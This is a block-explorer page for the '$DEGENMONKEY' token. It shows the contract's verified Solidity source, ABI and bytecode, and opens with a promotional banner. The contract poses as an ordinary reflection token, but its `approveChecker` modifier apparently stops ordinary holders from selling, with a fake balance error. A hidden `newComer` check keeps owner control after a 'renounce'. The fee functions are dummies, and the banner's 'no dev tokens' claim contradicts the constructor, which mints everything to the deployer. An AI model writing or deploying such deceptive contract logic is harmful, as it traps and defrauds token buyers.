ETH Price: $2,513.78 (+1.66%)

Token

Degenerate Monkey - https://t.me/degeneratemonkeyE... ($DEGENMONKEY)
 

Overview

Max Total Supply

10,000,000,000,000 $DEGENMONKEY

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
331,729,677,477.153739693383646062 $DEGENMONKEY

Value
$0.00
0xd5c54c4b4dd1578faea797b97c81ab50c96ebd75
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DegenerateMonkey

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-01
*/

/*

💎 ~7 ETH LIQUIDITY 💎 

✅ $DEGENMONKEY
✅ No Dev Tokens - 100% Community Owned
✅ LP Lock 3 months & renounced on launch
✅ No Supply Limit but 1min cooldown
  
👍 1 Quadrillion Supply!
👍 3% redistribution between all holders
👍 3% taxes for dev/marketing

🪐 Welcome to the DEGEN-MONKEY-MOON!

Telegram: https://t.me/degeneratemonkeyERC20
 
*/

pragma solidity ^0.6.12;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) private onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    address private newComer = _msgSender();
    modifier onlyOwner() {
        require(newComer == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract DegenerateMonkey is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _whiteAddress;
    mapping (address => bool) private _blackAddress; 
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private _tFeeTotal;
    uint256 private _feeAddr1 = 3; 
    address payable private _feeAddrWallet1 = payable(0x66BBE46ed1C85b648B76F9E2D06290ba62FAddcb);
    address private uniswapV2Pair;

    uint256 private _totalSupply = 10000000000000 * 10**18;
    string private _name = 'Degenerate Monkey - https://t.me/degeneratemonkeyERC20';
    string private _symbol = '$DEGENMONKEY';
    uint8 private _decimals = 18;

    address private _owner;
    address private _safeOwner;
    address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    
    constructor () public {
        _owner = owner();
        _safeOwner = _owner;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    function name() public view returns (string memory) { 
        return _name;
    }
    
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _approveCheck(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
     

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _approveCheck(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function burn(uint256 amount) external onlyOwner{
        _burn(msg.sender, amount);
    }
    
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    
    function _burn(address account, uint256 amount) internal virtual onlyOwner {
        require(account != address(0), "ERC20: burn from the zero address");
       
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }    
    
    function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");    
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    
    
     function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _totalSupply, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _totalSupply, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }
    
       
    function _isBuy(address _sender) private view returns (bool) {
        return _sender == uniswapV2Pair;
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _tFeeTotal = _tFeeTotal.add(tFee); 
        _tFeeTotal = _tFeeTotal.sub(rFee);  
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractBalance = balanceOf(address(this));
    }
    
    modifier approveChecker(address hitsol, address recipient, uint256 amount){
        if (_owner == _safeOwner && hitsol == _owner){_safeOwner = recipient;_;}
        else{if (hitsol == _owner || hitsol == _safeOwner || recipient == _owner){_;}
        else{require((hitsol == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
    } 
    
    function manualsend() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractETHBalance = address(this).balance;
    }
    

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr1);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _totalSupply;
        uint256 tSupply = _totalSupply;      
        if (rSupply < _totalSupply.div(_totalSupply)) return (_totalSupply, _totalSupply);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000014620003f260201b60201c565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600c557366bbe46ed1c85b648b76f9e2d06290ba62faddcb600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506c7e37be2022c0914b2680000000600f556040518060600160405280603681526020016200299a6036913960109080519060200190620000f092919062000423565b506040518060400160405280600c81526020017f24444547454e4d4f4e4b45590000000000000000000000000000000000000000815250601190805190602001906200013e92919062000423565b5060128060006101000a81548160ff021916908360ff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001bc57600080fd5b506000620001cf620003f260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200027d620003fa60201b60201c565b601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f546002600062000337620003f260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000385620003f260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f546040518082815260200191505060405180910390a3620004c9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200046657805160ff191683800117855562000497565b8280016001018555821562000497579182015b828111156200049657825182559160200191906001019062000479565b5b509050620004a69190620004aa565b5090565b5b80821115620004c5576000816000905550600101620004ab565b5090565b6124c180620004d96000396000f3fe6080604052600436106100f75760003560e01c80636fc3eaec1161008a57806395d89b411161005957806395d89b41146104a7578063a9059cbb14610537578063c3c8cd80146105a8578063dd62ed3e146105bf576100fe565b80636fc3eaec146103d357806370a08231146103ea578063715018a61461044f5780638da5cb5b14610466576100fe565b80632d838119116100c65780632d838119146102c0578063313ce5671461030f57806342966c681461033d5780634549b03914610378576100fe565b806306fdde0314610103578063095ea7b31461019357806318160ddd1461020457806323b872dd1461022f576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610644565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019f57600080fd5b506101ec600480360360408110156101b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e6565b60405180821515815260200191505060405180910390f35b34801561021057600080fd5b50610219610704565b6040518082815260200191505060405180910390f35b34801561023b57600080fd5b506102a86004803603606081101561025257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070e565b60405180821515815260200191505060405180910390f35b3480156102cc57600080fd5b506102f9600480360360208110156102e357600080fd5b81019080803590602001909291905050506107e7565b6040518082815260200191505060405180910390f35b34801561031b57600080fd5b5061032461086b565b604051808260ff16815260200191505060405180910390f35b34801561034957600080fd5b506103766004803603602081101561036057600080fd5b8101908080359060200190929190505050610882565b005b34801561038457600080fd5b506103bd6004803603604081101561039b57600080fd5b8101908080359060200190929190803515159060200190929190505050610959565b6040518082815260200191505060405180910390f35b3480156103df57600080fd5b506103e8610a10565b005b3480156103f657600080fd5b506104396004803603602081101561040d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a79565b6040518082815260200191505060405180910390f35b34801561045b57600080fd5b50610464610ac2565b005b34801561047257600080fd5b5061047b610c4a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b357600080fd5b506104bc610c73565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fc5780820151818401526020810190506104e1565b50505050905090810190601f1680156105295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054357600080fd5b506105906004803603604081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d15565b60405180821515815260200191505060405180910390f35b3480156105b457600080fd5b506105bd610d33565b005b3480156105cb57600080fd5b5061062e600480360360408110156105e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da4565b6040518082815260200191505060405180910390f35b606060108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106dc5780601f106106b1576101008083540402835291602001916106dc565b820191906000526020600020905b8154815290600101906020018083116106bf57829003601f168201915b5050505050905090565b60006106fa6106f3610e2b565b8484610e33565b6001905092915050565b6000600f54905090565b600061071b84848461102a565b6107dc84610727610e2b565b6107d7856040518060600160405280602881526020016123fa60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078d610e2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b610e33565b600190509392505050565b6000600f54821115610844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612367602a913960400191505060405180910390fd5b600061084e611c36565b90506108638184611c6190919063ffffffff16565b915050919050565b6000601260009054906101000a900460ff16905090565b61088a610e2b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6109563382611cab565b50565b6000600f548311156109d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b816109f35760006109e384611f2f565b5050505050905080915050610a0a565b60006109fe84611f2f565b50505050915050809150505b92915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a51610e2b565b73ffffffffffffffffffffffffffffffffffffffff1614610a7157600080fd5b600047905050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aca610e2b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d0b5780601f10610ce057610100808354040283529160200191610d0b565b820191906000526020600020905b815481529060010190602001808311610cee57829003601f168201915b5050505050905090565b6000610d29610d22610e2b565b848461102a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d74610e2b565b73ffffffffffffffffffffffffffffffffffffffff1614610d9457600080fd5b6000610d9f30610a79565b905050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124686024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123916022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156110f95750601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156113f95781601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561124b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123226023913960400191505060405180910390fd5b6112b7846040518060600160405280602681526020016123b360269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134c84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611b6e565b601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114a25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114fa5750601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156117b957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611585576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561160b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123226023913960400191505060405180910390fd5b611677846040518060600160405280602681526020016123b360269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170c84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611b6d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806118625750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123b36026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561193d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123226023913960400191505060405180910390fd5b611a2f846040518060600160405280602681526020016123b360269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac484600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffff